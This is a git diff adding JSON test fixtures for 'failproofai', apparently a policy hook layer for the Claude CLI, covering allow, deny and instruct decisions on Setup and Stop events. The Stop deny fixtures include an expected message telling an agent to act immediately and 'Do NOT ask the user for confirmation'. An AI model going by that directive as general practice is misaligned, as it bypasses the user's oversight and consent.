[ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e140b960 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..8b49abb4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..147be534 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e7c5c16f --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..67df9ab2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..38e0df01 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c71f1e1c --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5779bc2e --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..fb307f8e --- /dev/null +++ b/__tests__/parity/fixtures/claude/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8e8633ca --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3293fc2d --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c7fc16df --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7f423744 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0fdc2355 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..05514f48 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c1eb43dd --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..285f05f9 --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2b16c6bc --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e37d0e4a --- /dev/null +++ b/__tests__/parity/fixtures/claude/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2cba688c --- /dev/null +++ 